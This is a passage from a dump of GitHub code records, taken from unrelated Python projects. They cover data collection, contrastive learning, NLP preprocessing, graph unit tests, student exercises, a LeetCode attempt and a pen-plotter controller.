in cases_folders:\n for label_id, folder_label in enumerate(['neg', 'pos']):\n xml_re = os.path.join(data_folder, cases_folder, folder_label, '*.xml')\n xlm_paths = glob(xml_re)\n\n first_date = None\n last_date = None\n posts_per_user = []\n time_spans_days = []\n n_posts = 0\n for i, xml_path in enumerate(xlm_paths):\n xml_subject = os.path.basename(xml_path)\n xml_data = extract_xml_data(xml_path, cases_folder, label_id)\n dataset.update({\n xml_subject: xml_data\n })\n n_posts += len(xml_data)\n posts_per_user.append(len(xml_data))\n\n first_date = datetime.strptime(xml_data[0][\"date\"], \"%Y-%m-%d %H:%M:%S\")\n last_date = datetime.strptime(xml_data[-1][\"date\"], \"%Y-%m-%d %H:%M:%S\")\n\n time_span_ = last_date - first_date\n time_span_days = np.abs(time_span_.days)\n time_spans_days.append(time_span_days)\n\n print(f\"Collecting progress {xml_re}: {i}/{len(xlm_paths)}\", end=\"\\r\")\n print()\n \n mean_post_per_user = np.mean(posts_per_user)\n mean_time_span_days = np.mean(time_spans_days)\n print(f\"{xml_re} finished with {len(xlm_paths)} users, {n_posts} total posts and mean_post_per_user {mean_post_per_user} and mean_time_span_days = {mean_time_span_days}\" )\n\n with open(data_json_path, 'w') as fout:\n json.dump(dataset, fout, indent=4, sort_keys=True)\n\nif __name__ == \"__main__\":\n main()\n\n# from sklearn.model_selection import TimeSeriesSplit\n# https://towardsdatascience.com/time-series-modeling-using-scikit-pandas-and-numpy-682e3b8db8d1","repo_name":"ralucaginga/ERISK-2022","sub_path":"collect.py","file_name":"collect.py","file_ext":"py","file_size_in_byte":2623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"44380769724","text":"import torch\nimport torch.nn as nn\n\nfrom ..registry import HEADS\n\n\n@HEADS.register_module\nclass ContrastiveWeightHead(nn.Module):\n '''Head for contrastive learning.\n '''\n\n def __init__(self, temperature=0.1):\n super(ContrastiveWeightHead, self).__init__()\n self.criterion = nn.CrossEntropyLoss()\n self.temperature = temperature\n\n def forward(self, pos, neg):\n '''\n Args:\n pos (Tensor): Nx1 positive similarity\n neg (Tensor): Nxk negative similarity\n '''\n N = pos.size(0)\n # relax\n #pos = torch.clamp(pos * 2., max=1.)\n logits = torch.cat((pos, neg), dim=1)\n logits /= self.temperature\n logits[:, 0] *= 2\n labels = torch.zeros((N, ), dtype=torch.long).cuda()\n losses = dict()\n losses['loss'] = self.criterion(logits, labels)\n return losses\n","repo_name":"WXinlong/DenseCL","sub_path":"openselfsup/models/heads/contrastive_weight_head.py","file_name":"contrastive_weight_head.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","stars":523,"dataset":"github-code","pt":"48"} +{"seq_id":"37479851795","text":"import os\nimport h5py\nimport numpy as np\n\nimport gensim.models as gm\n\nimport nltk\nfrom nltk import pos_tag, word_tokenize\nfrom nltk.corpus import wordnet\nfrom nltk.stem.wordnet import WordNetLemmatizer\nfrom nltk.corpus import verbnet\n\nimport pdb\n\n# get news titles from raw news files\ndef get_news_title(news_raw_dir, news_title_dir):\n for dirpath, dirname, filenames in os.walk(news_raw_dir):\n for filename in [f for f in filenames if f.endswith('.txt')]:\n title = ''\n # get titles\n if 'bloomberg' in dirpath:\n with open(os.path.join(dirpath, filename), 'r') as f:\n title = f.readline().strip()\n title = title.replace('- Bloomberg', '').strip()\n print(title)\n f.close()\n\n tokens = dirpath.split('/')\n # dest dir\n dest_dirpath = news_title_dir + '/' + tokens[-1]\n if not os.path.exists(dest_dirpath):\n os.makedirs(dest_dirpath)\n\n # dest filename\n dest_filename = os.path.join(dest_dirpath, filename)\n \n # write title as content\n if not os.path.exists(dest_filename):\n with open(dest_filename, 'w') as f:\n f.write(title + '\\n')\n f.close()\n\n# change from treebank tag to wordnet tag\ndef get_wordnet_pos(treebank_tag):\n if treebank_tag.startswith('N'):\n return wordnet.NOUN\n elif treebank_tag.startswith('V'):\n return wordnet.VERB\n elif treebank_tag.startswith('R'):\n return wordnet.ADV\n elif treebank_tag.startswith('J'):\n return wordnet.ADJ\n else:\n raise 'No such tags!'\n\n# lemmatize word according to wordnet\ndef lemmatize_word(word, wordnet_tag):\n lemmatizer = WordNetLemmatizer()\n lemma = lemmatizer.lemmatize(word, wordnet_tag)\n\n return lemma\n\n# get all news title tags\ndef get_tags(news_title_dir, news_tag_dir):\n for dirpath, dirnames, filenames in os.walk(news_title_dir):\n for filename in [f for f in filenames if f.endswith('.txt')]:\n title = ''\n # get titles\n with open(os.path.join(dirpath, filename), 'r') as f:\n title = f.readline().strip()\n print(title)\n f.close()\n\n tokens = dirpath.split('/')\n # dest dir\n dest_dirpath = news_tag_dir + '/' + tokens[-1]\n if not os.path.exists(dest_dirpath):\n os.makedirs(dest_dirpath)\n\n # dest filename\n dest_filename = os.path.join(dest_dirpath, filename)\n \n # tag words\n target_tag_list = ['NN', 'NNS', 'NNP', 'NNPS', 'VB', 'VBD', 'VBG', \n 'VBN', 'VBP', 'VBZ', 'RB', 'RBR', 'RBS', 'JJ', 'JJR', 'JJS']\n if not os.path.exists(dest_filename):\n with open(dest_filename, 'w') as f:\n word_tokens = word_tokenize(title.lower())\n tags = nltk.pos_tag(word_tokens)\n for word, tag in tags:\n if tag in target_tag_list: # filter meaningless words\n wordnet_tag = get_wordnet_pos(tag)\n if wordnet_tag == 'v' or wordnet_tag == 'n': # lemmatize verb and noun\n lemma = lemmatize_word(word, wordnet_tag)\n f.write(wordnet_tag + ' ' + lemma + '\\n')\n print(wordnet_tag + ' ' + lemma)\n else:\n f.write(wordnet_tag + ' ' + word + '\\n')\n print(wordnet_tag + ' ' + word)\n f.close()\n\n# word to vector\ndef word_to_vector(news_tag_dir, news_word2vec_dir, word2vec_model_path):\n # load Google word2vec model\n model = gm.KeyedVectors.load_word2vec_format(word2vec_model_path, binary = True)\n\n for dirpath, dirname, filenames in os.walk(news_tag_dir):\n for filename in [f for f in filenames if f.endswith('.txt')]:\n # dest dir_path\n tokens = dirpath.split('/')\n dest_dirpath = news_word2vec_dir + '/' + tokens[-1]\n\n if not os.path.exists(dest_dirpath):\n os.makedirs(dest_dirpath)\n\n # dest filename\n dest_filename = os.path.join(dest_dirpath, filename) \n dest_filename = dest_filename.replace('.txt', '.h5')\n\n feature = np.array([])\n if not os.path.exists(dest_filename): \n with open(os.path.join(dirpath, filename), 'r') as f: \n for line in f: # one word per line\n tag, word = line.strip().split(' ')\n try:\n vector = model.word_vec(word)\n vector = np.array(vector).flatten()\n if feature.size == 0:\n feature = np.hstack((feature, vector))\n else:\n feature = np.vstack((feature, vector))\n except KeyError:\n continue\n print(feature.shape)\n\n f.close()\n\n hf = h5py.File(dest_filename, 'w') # save word vector feature\n hf.create_dataset('feature', data = feature)\n hf.close()\n","repo_name":"aaron-h-code/CSC440","sub_path":"Project-2/tools/news.py","file_name":"news.py","file_ext":"py","file_size_in_byte":5436,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"12148560272","text":"# Create the Board\nboard = [\"0\", \"0\", \"O\",\n \"0\", \"0\", \"O\",\n \"0\", \"0\", \"O\"]\n\n# Dispaly the board\ndef displayBoard():\n print()\n print(board[0] + \" | \" + board[1] + \" | \" + board[2])\n print(\"- + - + -\")\n print(board[3] + \" | \" + board[4] + \" | \" + board[5])\n print(\"- + - + -\")\n print(board[6] + \" | \" + board[7] + \" | \" + board[8])\n print()\n\ndef handle_turn():\n \n # get user to to choose positon on the board\n choix = input(\"Choose a value from 1-9 player :>> \")\n choix = int(choix) - 1\n\n board[choix] = \"X\"\n\n displayBoard()\n\n\n\n# The main function which has all the gameplay functionality.\ndef play_game():\n\n # Dispaly the inintial board\n displayBoard()\n\n handle_turn()\n\n\nplay_game()","repo_name":"vogtdale/python","sub_path":"tikTakToe/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"20788210804","text":"from clayrs.recsys.graphs.graph import PropertyNode, UserNode, ItemNode\nfrom clayrs.recsys.graphs.nx_implementation.nx_tripartite_graphs import NXTripartiteGraph\nimport os\n\nfrom clayrs.utils import load_content_instance\nfrom test import dir_test_files\nfrom test.recsys.graphs.test_networkx_implementation.test_nx_bipartite_graphs import TestNXBipartiteGraph, rat, \\\n rat_timestamp\n\nratings_filename = os.path.join(dir_test_files, 'new_ratings_small.csv')\nmovies_dir = os.path.join(dir_test_files, 'complex_contents', 'movies_codified/')\nusers_dir = os.path.join(dir_test_files, 'complex_contents', 'users_codified/')\n\n\nclass TestNXTripartiteGraph(TestNXBipartiteGraph):\n\n def setUp(self) -> None:\n # graphs that will be used for testing\n self.g: NXTripartiteGraph = NXTripartiteGraph(rat,\n item_contents_dir=movies_dir,\n item_exo_properties={'dbpedia': ['film director',\n 'runtime (m)']})\n\n self.graph_custom_label: NXTripartiteGraph = NXTripartiteGraph(rat, link_label='my_label',\n item_contents_dir=movies_dir,\n item_exo_properties={'dbpedia': ['film director',\n 'runtime (m)']})\n\n self.graph_timestamp: NXTripartiteGraph = NXTripartiteGraph(rat_timestamp,\n item_contents_dir=movies_dir,\n item_exo_properties={'dbpedia': ['film director',\n 'runtime (m)']})\n\n # this will be empty even if other attributes are specified since ratings are missing\n self.empty_graph: NXTripartiteGraph = NXTripartiteGraph(item_contents_dir=movies_dir,\n item_exo_properties={'dbpedia'})\n\n # item_exo_properties set but no item_contents_dir specified\n self.graph_missing_item_dir_parameter = NXTripartiteGraph(rat, item_exo_properties={'dbpedia': ['film director',\n 'runtime (m)']})\n\n # item_contents_dir set but no item_exo_properties_specified specified\n self.graph_missing_item_prop_parameter = NXTripartiteGraph(rat, item_contents_dir=movies_dir)\n\n def test_graph_creation(self):\n # the super class test will check if every user and item have a link\n # as they are present in the ratings frame\n super().test_graph_creation()\n\n # here we test if item nodes are linked to their exogenous property as specified in the constructor\n for item_node in self.g.item_nodes:\n loaded_item = load_content_instance(movies_dir, item_node.value)\n exogenous_representation: dict = loaded_item.get_exogenous_representation(\"dbpedia\").value\n director_prop_expected = exogenous_representation.get(\"film director\", [])\n runtime_prop_expected = exogenous_representation.get(\"runtime (m)\", [])\n\n if not isinstance(director_prop_expected, list):\n director_prop_expected = [director_prop_expected]\n\n if not isinstance(runtime_prop_expected, list):\n runtime_prop_expected = [runtime_prop_expected]\n\n for director in director_prop_expected:\n self.assertTrue(PropertyNode(director) in self.g.property_nodes)\n result_link_data = self.g.get_link_data(item_node, PropertyNode(director))\n expected_link_data = {'label': 'film director'}\n\n self.assertEqual(expected_link_data, result_link_data)\n\n for runtime in runtime_prop_expected:\n self.assertTrue(PropertyNode(runtime) in self.g.property_nodes)\n result_link_data = self.g.get_link_data(item_node, PropertyNode(runtime))\n expected_link_data = {'label': 'runtime (m)'}\n\n self.assertEqual(expected_link_data, result_link_data)\n\n def test_graph_creation_missing_parameter(self):\n\n self.assertTrue(len(self.graph_missing_item_dir_parameter.user_nodes) != 0)\n self.assertTrue(len(self.graph_missing_item_dir_parameter.item_nodes) != 0)\n # warning is printed and no prop will be loaded\n self.assertTrue(len(self.graph_missing_item_dir_parameter.property_nodes) == 0)\n\n self.assertTrue(len(self.graph_missing_item_dir_parameter.user_nodes) != 0)\n self.assertTrue(len(self.graph_missing_item_dir_parameter.item_nodes) != 0)\n # warning is printed and no prop will be loaded\n self.assertTrue(len(self.graph_missing_item_dir_parameter.property_nodes) == 0)\n\n def test_graph_creation_empty(self):\n super().test_graph_creation_empty()\n\n self.assertTrue(len(self.empty_graph.property_nodes) == 0)\n\n def test_add_property(self):\n # Add 'property' node\n self.assertFalse(PropertyNode('Nolan') in self.g.property_nodes)\n self.g.add_node(PropertyNode('Nolan'))\n self.assertTrue(self.g.node_exists(PropertyNode('Nolan')))\n self.assertTrue(PropertyNode('Nolan') in self.g.property_nodes)\n\n # Add a list of 'property' nodes\n list_nodes = [PropertyNode('prop1'), PropertyNode('prop2'), PropertyNode('prop3')]\n self.g.add_node(list_nodes)\n for n in list_nodes:\n self.assertTrue(self.g.node_exists(n))\n self.assertTrue(n in self.g.property_nodes)\n\n # Add 'property' node but it already exists as\n # a 'user' node\n self.g.add_node(UserNode('0'))\n self.assertTrue(self.g.node_exists(UserNode('0')))\n self.assertTrue(UserNode('0') in self.g.user_nodes)\n self.g.add_node(PropertyNode('0'))\n self.assertTrue(self.g.node_exists(PropertyNode('0')))\n self.assertTrue(self.g.node_exists(UserNode('0')))\n self.assertTrue(UserNode('0') in self.g.user_nodes)\n self.assertTrue(PropertyNode('0') in self.g.property_nodes)\n\n def test_add_link_item_prop_existent(self):\n # Link existent 'item' node to an existent 'prop' node\n item_node = ItemNode('Tenet')\n prop_node = PropertyNode('Nolan')\n self.g.add_node(item_node)\n self.g.add_node(prop_node)\n self.assertIsNone(self.g.get_link_data(item_node, prop_node))\n self.g.add_link(item_node, prop_node, timestamp='now', label='directed_by')\n expected = {'timestamp': 'now', 'label': 'directed_by'}\n result = self.g.get_link_data(item_node, prop_node)\n self.assertEqual(expected, result)\n\n # Link list of existent 'item' nodes to a list of existent 'property' nodes\n items_list = [ItemNode('i1_list'), ItemNode('i2_list'), ItemNode('i3_list')]\n self.g.add_node(items_list)\n props_list = [PropertyNode('p1_list'), PropertyNode('p2_list'), PropertyNode('p3_list')]\n self.g.add_node(props_list)\n self.g.add_link(items_list, props_list, 0.5)\n for user, item in zip(items_list, props_list):\n result = self.g.get_link_data(user, item)\n expected = {'weight': 0.5}\n\n self.assertEqual(expected, result)\n\n # Link existent 'property' node to an existent 'item' node\n item_node = ItemNode('Tenet')\n prop_node = PropertyNode('Nolan')\n self.g.add_node(item_node)\n self.g.add_node(prop_node)\n self.assertIsNone(self.g.get_link_data(prop_node, item_node))\n self.g.add_link(prop_node, item_node)\n self.assertIsNotNone(self.g.get_link_data(item_node, prop_node))\n\n # Link list of existent 'prop' nodes to a list of existent 'item' nodes\n items_list = [ItemNode('i1_list'), ItemNode('i2_list'), ItemNode('i3_list')]\n self.g.add_node(items_list)\n users_list = [UserNode('u1_list'), UserNode('u2_list'), UserNode('u3_list')]\n self.g.add_node(users_list)\n self.g.add_link(items_list, users_list, 0.5)\n for item, user in zip(items_list, users_list):\n result = self.g.get_link_data(item, user)\n expected = {'weight': 0.5}\n\n self.assertEqual(expected, result)\n\n def test_add_link_item_prop_non_existent(self):\n # Link non-existent 'user' node and non-existent 'item' node,\n # so both nodes are created and then linked\n item_new = ItemNode('i_new')\n prop_new = PropertyNode('p_new')\n self.assertFalse(self.g.node_exists(item_new))\n self.assertFalse(self.g.node_exists(prop_new))\n self.g.add_link(item_new, prop_new, 0.5)\n self.assertTrue(self.g.node_exists(item_new))\n self.assertTrue(self.g.node_exists(prop_new))\n self.assertIsNotNone(self.g.get_link_data(item_new, prop_new))\n\n # Link non-existent 'user' node list and non-existent 'item' node list,\n # so all nodes of the two lists are created and then linked\n item_new_list = [ItemNode('i_new_new1'), ItemNode('i_new_new2')]\n prop_new_list = [PropertyNode('u_new_new1'), PropertyNode('u_new_new2')]\n for item in item_new_list:\n self.assertFalse(self.g.node_exists(item))\n for prop in prop_new_list:\n self.assertFalse(self.g.node_exists(prop))\n\n self.g.add_link(item_new_list, prop_new_list, 0.5)\n\n for user, item in zip(item_new_list, prop_new_list):\n result = self.g.get_link_data(user, item)\n expected = {'weight': 0.5}\n\n self.assertEqual(expected, result)\n\n def test_add_link_raise_error(self):\n # test link existent 'user' node to existent 'property' node\n self.g.add_node(UserNode('u1'))\n self.g.add_node(PropertyNode('Nolan'))\n with self.assertRaises(ValueError):\n self.g.add_link(UserNode('u1'), PropertyNode('Nolan'), weight=0.5, label='Friend')\n\n # test link 'property' node to 'user' node\n self.g.add_node(UserNode('u1'))\n self.g.add_node(PropertyNode('Nolan'))\n with self.assertRaises(ValueError):\n self.g.add_link(PropertyNode('Nolan'), UserNode('u1'), weight=0.5, label='Friend')\n\n # test link list of non-existent user node to list of non-existent property node\n user_list = [UserNode('u_new'), UserNode('u_new1')]\n prop_list = [PropertyNode('p_new'), PropertyNode('p_new1')]\n for n in user_list:\n self.assertFalse(self.g.node_exists(n))\n for n in prop_list:\n self.assertFalse(self.g.node_exists(n))\n\n with self.assertRaises(ValueError):\n self.g.add_link(user_list, prop_list, weight=0.5, label=\"PropertyNew\")\n\n def test_add_node_with_prop(self):\n # add 'item' node and only properties 'film_director' to the graph\n self.assertFalse(ItemNode('tt0114709') in self.g.item_nodes)\n self.assertFalse(PropertyNode('http://dbpedia.org/resource/John_Lasseter') in self.g.property_nodes)\n self.g.add_node_with_prop(ItemNode('tt0114709'), {'dbpedia': ['film director']}, movies_dir)\n self.assertTrue(ItemNode('tt0114709') in self.g.item_nodes)\n self.assertTrue(PropertyNode('http://dbpedia.org/resource/John_Lasseter') in self.g.property_nodes)\n self.assertIsNotNone(self.g.get_link_data(ItemNode('tt0114709'),\n PropertyNode('http://dbpedia.org/resource/John_Lasseter')))\n\n self.g.remove_node(ItemNode('tt0114709'))\n self.g.remove_node(PropertyNode('http://dbpedia.org/resource/John_Lasseter'))\n\n # add 'item' node and only properties 'film_director' to the graph with different id from the file name\n self.assertFalse(ItemNode('different') in self.g.item_nodes)\n self.assertFalse(PropertyNode('http://dbpedia.org/resource/John_Lasseter') in self.g.property_nodes)\n self.g.add_node_with_prop(ItemNode('different'), {'dbpedia': ['film director']}, movies_dir,\n 'tt0114709')\n self.assertTrue(ItemNode('different') in self.g.item_nodes)\n self.assertTrue(PropertyNode('http://dbpedia.org/resource/John_Lasseter') in self.g.property_nodes)\n self.assertIsNotNone(self.g.get_link_data(ItemNode('different'),\n PropertyNode('http://dbpedia.org/resource/John_Lasseter')))\n\n self.g.remove_node(ItemNode('different'))\n self.g.remove_node(PropertyNode('http://dbpedia.org/resource/John_Lasseter'))\n\n # add 'item' node and all its properties\n loaded_item = load_content_instance(movies_dir, 'tt0114709')\n exogenous_representation: dict = loaded_item.get_exogenous_representation(\"dbpedia\").value\n\n self.assertFalse(ItemNode('tt0114709') in self.g.item_nodes)\n self.assertFalse(PropertyNode('http://dbpedia.org/resource/John_Lasseter') in self.g.property_nodes)\n self.g.add_node_with_prop(ItemNode('tt0114709'), {'dbpedia'}, movies_dir)\n self.assertTrue(ItemNode('tt0114709') in self.g.item_nodes)\n\n for prop_label in exogenous_representation.keys():\n prop_val_expected = exogenous_representation.get(prop_label, [])\n\n if not isinstance(prop_val_expected, list):\n prop_val_expected = [prop_val_expected]\n\n for prop_val in prop_val_expected:\n self.assertTrue(PropertyNode(prop_val) in self.g.property_nodes)\n result_link_data_list = self.g.get_link_data(ItemNode('tt0114709'), PropertyNode(prop_val))\n\n # we make sure that this is a property of the exogenous representation\n self.assertIn(result_link_data_list['label'], exogenous_representation)\n\n def test_add_raise_error(self):\n # Try to add 'user' node with its prop\n with self.assertRaises(ValueError):\n self.g.add_node_with_prop(UserNode('user'), {'representation_id'}, users_dir)\n\n # def test_convert_to_dataframe(self):\n # converted_df = self.g.convert_to_dataframe()\n # self.assertNotIn('label', converted_df.columns)\n # for user, item in zip(converted_df['from_id'], converted_df['to_id']):\n # self.assertIsInstance(user, Node)\n # self.assertIsInstance(item, Node)\n #\n # converted_df = converted_df.query('to_id not in @self.g.property_nodes')\n # result = np.sort(converted_df, axis=0)\n # expected = np.sort(self.df, axis=0)\n # self.assertTrue(np.array_equal(expected, result))\n #\n # converted_df = self.g.convert_to_dataframe(only_values=True, with_label=True)\n # self.assertIn('label', converted_df.columns)\n # for user, item in zip(converted_df['from_id'], converted_df['to_id']):\n # self.assertNotIsInstance(user, Node)\n # self.assertNotIsInstance(item, Node)\n #\n # converted_df = converted_df.query('to_id not in @self.g.property_nodes')[['from_id', 'to_id', 'score']]\n # result = np.sort(converted_df, axis=0)\n # expected = np.sort(self.df, axis=0)\n # self.assertTrue(np.array_equal(expected, result))\n","repo_name":"swapUniba/ClayRS","sub_path":"test/recsys/graphs/test_networkx_implementation/test_nx_tripartite_graphs.py","file_name":"test_nx_tripartite_graphs.py","file_ext":"py","file_size_in_byte":15456,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"48"} +{"seq_id":"31771771327","text":"# Family Name:Harshal Gautam\n# Student Number: 300002151\n# Course: ITI 1120[D]\n# Assignment 2\n\n##############################\n#Question 2.1\n##############################\ndef min_enclosing_rectangle(radius,x,y):\n '''(number,number,number)->None\n Preconditions: If side is a non-negative number, then the function prints None\n Prints None if side a non-negative number'''\n if radius >= 0:\n return(radius-x,radius-y)\n elif radius <= 0:\n return(None)\n\n##############################\n#Question 2.2\n##############################\ndef series_sum():\n '''(int)->number\n If the user enters a negative integer the function should return None otherwise the function should return the sumer of the following series 1000 + 1/12 + 1/22 + 1/32 + 1/42 + ... + 1/n2 for the given integer n'''\n m= int(input(\"Please enter a non negative integer:\"))\n if m== 0:\n return 1000\n elif m>0:\n add= 0\n while (m>0):\n add += 1/m**2\n m= m-1\n return 1000 +add\n else:\n return\n return\n\n##############################\n#Question 2.3\n##############################\nimport math\ndef pell (n):\n '''(int)->number\n Precondition: the function takes one integer parameter n, of type int\n If n is negative, pell returns None. Else, pell returns the nth Pell number'''\n \n if n==0:\n return 0\n elif n==1:\n return 1\n elif n<0 :\n return\n else :\n m= (((1+ math.sqrt(2))**n)-((1-math.sqrt(2))**n))/(2* math.sqrt(2))\n return math.ceil(m)\n return\n\n##############################\n#Question 2.4\n##############################\ndef countMembers(s):\n '''(str)->int\n Precondition: Not allowed to use Python's string methods\n Returns the number of characters in s, that are extraordinary''' \n s= list(s)\n new1list= ['e','f','g','h','i','j','Q','R','S','T','U','V','W','X','2','3','4','5','6','!',',','\"\\\"']\n count=0\n for i in s:\n if i in new1list:\n count=count+1\n return count\n\n##############################\n#Question 2.5\n##############################\ndef casual_number(s):\n '''(str)->int\n Precondition: if a string in s looks like a number but with commas, you may assume that commas are in meaningful places i.e. you may assume that s will not be a string like ’1, 1, 345’.\r\n should return an integer representing a number in s. If s does not look like a number the function should return None.'''\n s= s.replace(',','')\n\n if((s[0]=='+' or s[0]=='-') and s[1:].isdigit()):\n return int(s)\n\n elif(s.isdigit()):\n return int(s)\n\n else:\n return None \n\n##############################\n#Question 2.6\n##############################\ndef alienNumbers(s):\n '''(str)->int\n Preconditions: try to make the whole body of this function only one line\n takes one string parameter s, and returns the integer value represented by s''' \n s=list(s)\n new1list= ['T','y','!','a','N','U']\n a=0\n b=0\n c=0\n d=0\n e=0\n f=0\n for i in s:\n if i in new1list:\n if i == new1list[0]:\n a = a + 1024\n elif i in new1list[1]:\n b = b + 598\n elif i in new1list[2]:\n c = c + 121\n elif i in new1list[3]:\n d = d + 42\n elif i in new1list[4]:\n e = e + 6\n elif i in new1list[5]:\n f = f + 1\n return a+b+c+d+e+f\n\n##############################\n#Question 2.7\n##############################\ndef alienNumbersAgain(s):\n '''(str)->number\n Precondition: Use accumulator variable\n takes a single string parameter s, and returns the numeric value of the number that s represents in the alien numbering system''' \n s= list(s)\n new1list= ['T','y','!','a','N','U']\n a=0\n b=0\n c=0\n d=0\n e=0\n f=0\n for i in s:\n if i in new1list:\n if i == new1list[0]:\n a= a + 1024\n elif i in new1list[1]:\n b= b + 598\n elif i in new1list[2]:\n c= c + 121\n elif i in new1list[3]:\n d= d + 42\n elif i in new1list[4]:\n e= e + 6\n elif i in new1list[5]:\n f= f + 1\n return a+b+c+d+e+f\n\n##############################\n#Question 2.8\n##############################\ndef encrypt(s):\n '''(str)->str\n has one parameter s where s is a string and encrypt returns a string which is the encrypted version of s''' \n new0= \"\"\n new1= \"\"\n new2= \"\"\n\n if (len(s) > 3):\n for i in range(len(s)-1, (round(len(s)/2))-2,-1):\n new1 += s[i]\n\n for c in range(0, (round(len(s)/2))):\n new2 += s[c]\n\n for p in range (0, round(len(s)/2)):\n new0 += new1 [p]\n new0 += new2 [p]\n\n return (new0)\n\n elif (len(s) == 3):\n new0 += s[2]\n new0 += s[0]\n new0 += s[1]\n return new0\n\n else:\n s = s[::-1]\n return (s)\n\n##############################\n#Question 2.9\n##############################\ndef oPify(s):\n '''(str)->str\n Preconditions: If at least one of the character is not a letter in the alphabet, it does not insert anything between that pair.\n takes a single string parameter (s) and returns a string. This function considers every pair of consecutive characters in s. It returns a string with the letters o and p inserted between every pair of consecutive characters of s, as follows.'''\n new= \"\"\n for i in range (len(s)-1):\n if (s[i].isalpha() and s[i+1].isalpha()):\n new += s[i]\n if (s[i] == s[i].upper()):\n new += \"O\"\n else:\n new += \"o\"\n if (s[i+1] == s[i+1].upper()):\n new += \"p\"\n else:\n new += \"p\"\n else:\n new += s[i]\n return(new +s[i+1])\n\n##############################\n#Question 2.10\n##############################\ndef nonrepetitive(s):\n '''(str)->bool\n has one parameter, s, where s is a string. The function returns True if s is nonrepetitive and False otherwise.'''\n \n \n\n for i in range(1,int(len(s)/2) + 1):\n \n for j in range(len(s)):\n \n if(j+2*i <= len(s)):\n \n if(s[j:j+i] == s[j+i:j+2*i]):\n return False\n \n return True\n \n\n \n \n\n","repo_name":"gharshal/Assignments","sub_path":"a2_part2_300002151.py","file_name":"a2_part2_300002151.py","file_ext":"py","file_size_in_byte":6454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"29478726559","text":"des = \"\"\"\nGiven a matrix and a target, return the number of non-empty submatrices that sum to target.\n\nA submatrix x1, y1, x2, y2 is the set of all cells matrix[x][y] with x1 <= x <= x2 and y1 <= y <= y2.\n\nTwo submatrices (x1, y1, x2, y2) and (x1', y1', x2', y2') are different if they have some coordinate that is different: for example, if x1 != x1'.\n\nInput: matrix = [[0,1,0],[1,1,1],[0,1,0]], target = 0\nOutput: 4\nExplanation: The four 1x1 submatrices that only contain 0.\n\n\nInput: matrix = [[1,-1],[-1,1]], target = 0\nOutput: 5\nExplanation: The two 1x2 submatrices, plus the two 2x1 submatrices, plus the 2x2 submatrix.\n\n\nInput: matrix = [[904]], target = 0\nOutput: 0\n\n1 <= matrix.length <= 100\n1 <= matrix[0].length <= 100\n-1000 <= matrix[i] <= 1000\n-10^8 <= target <= 10^8\n\nUsing a 2D prefix sum, we can query the sum of any submatrix in O(1) time.\nNow for each (r1, r2), we can find the largest sum of a submatrix that uses every row in [r1, r2] in linear time using a sliding window.\n\"\"\"\n\n\nclass Solution:\n def numSubmatrixSumTarget(self, matrix: list, target: int) -> int:\n rows_num = len(matrix)\n columns_num = len(matrix[0])\n prefix_matrix = []\n for i in range(rows_num):\n next_row = []\n for j in range(columns_num):\n next_row.append(None)\n\n prefix_matrix.append(next_row)\n\n num_of_ways = 0\n for row_index in range(rows_num):\n for col_index in range(columns_num):\n first_arg = self.get_prefix_val_for(prefix_matrix, row_index - 1, col_index)\n second_arg = self.get_prefix_val_for(prefix_matrix, row_index, col_index - 1)\n third_arg = self.get_prefix_val_for(prefix_matrix, row_index - 1, col_index - 1)\n fourth_arg = matrix[row_index][col_index]\n prefix_val = first_arg + second_arg - third_arg + fourth_arg\n prefix_matrix[row_index][col_index] = prefix_val\n\n if prefix_val == target:\n num_of_ways += 1\n\n return num_of_ways\n \n def get_prefix_val_for(self, prefix_matrix: list, row_index: int, col_index: int) -> int:\n if row_index < 0 or col_index < 0:\n return 0\n else:\n return prefix_matrix[row_index][col_index]\n\n\nsol = Solution()\n\nmatrix = [[0, 1, 0], [1, 1, 1], [0, 1, 0]]\ntarget = 0\n\nresult = sol.numSubmatrixSumTarget(matrix=matrix, target=target)\nprint(\"result\")\nprint(result)\n\n# not completed\n","repo_name":"Sic4Parvis9Magna/leetcode-practice","sub_path":"april_2021/number_of_sub_matrices.py","file_name":"number_of_sub_matrices.py","file_ext":"py","file_size_in_byte":2490,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"35143433468","text":"import pytest\nfrom app.domain.model.network import Network, Node, Link\n\n\n@pytest.fixture()\ndef basic_network():\n net = Network()\n net.add(Node(47, fixed_pressure=0.022))\n net.add(Node(49, fixed_pressure=0.022))\n net.add(Node(59, fixed_flow=300))\n net.add_nodes([51, 53, 56])\n\n net.add(Link(55, net.nodes[53], net.nodes[47], length=140.0, diameter=107.1))\n net.add(Link(57, net.nodes[53], net.nodes[56], length=350.0, diameter=107.1))\n net.add(Link(60, net.nodes[56], net.nodes[59], length=50.0, diameter=107.1))\n net.add(Link(58, net.nodes[51], net.nodes[56], length=200.0, diameter=107.1))\n net.add(Link(54, net.nodes[51], net.nodes[53], length=350.0, diameter=107.1))\n net.add(Link(52, net.nodes[49], net.nodes[51], length=200.0, diameter=107.1))\n return net\n","repo_name":"ziurg/pygas","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"71000719506","text":"from botaplot.post.gcode_base import GCodePost\nfrom ..transports import *\nfrom ..protocols import *\nfrom ..models.plottable import Plottable\nfrom io import StringIO\nfrom .machine import BaseMachine\n\n\n\nclass BotAPlot(BaseMachine):\n \"\"\"\n This is the basic botaplot machine, with M280/281 height control and\n works best at mm scale after a G28 X0 Y0.\n It's also gonna change over time.\n \"\"\"\n\n def __init__(self, transport, post=None):\n \"\"\"Given a transport (either a serial or telnet transport), create\n a botaplot that can plot lines over serial/telnet. Expects gcode\n \"\"\"\n if post is None:\n post = GCodePost()\n self.post = post\n self.transport = transport\n self.protocol = SimpleAsciiProtocol()\n\n def plot(self, commands):\n \"\"\"Lines just needs to be a generator that contains a list of commands.\n If you want to convert line segments to commands, you'll need to POST first\n \"\"\"\n self.protocol.plot(commands, 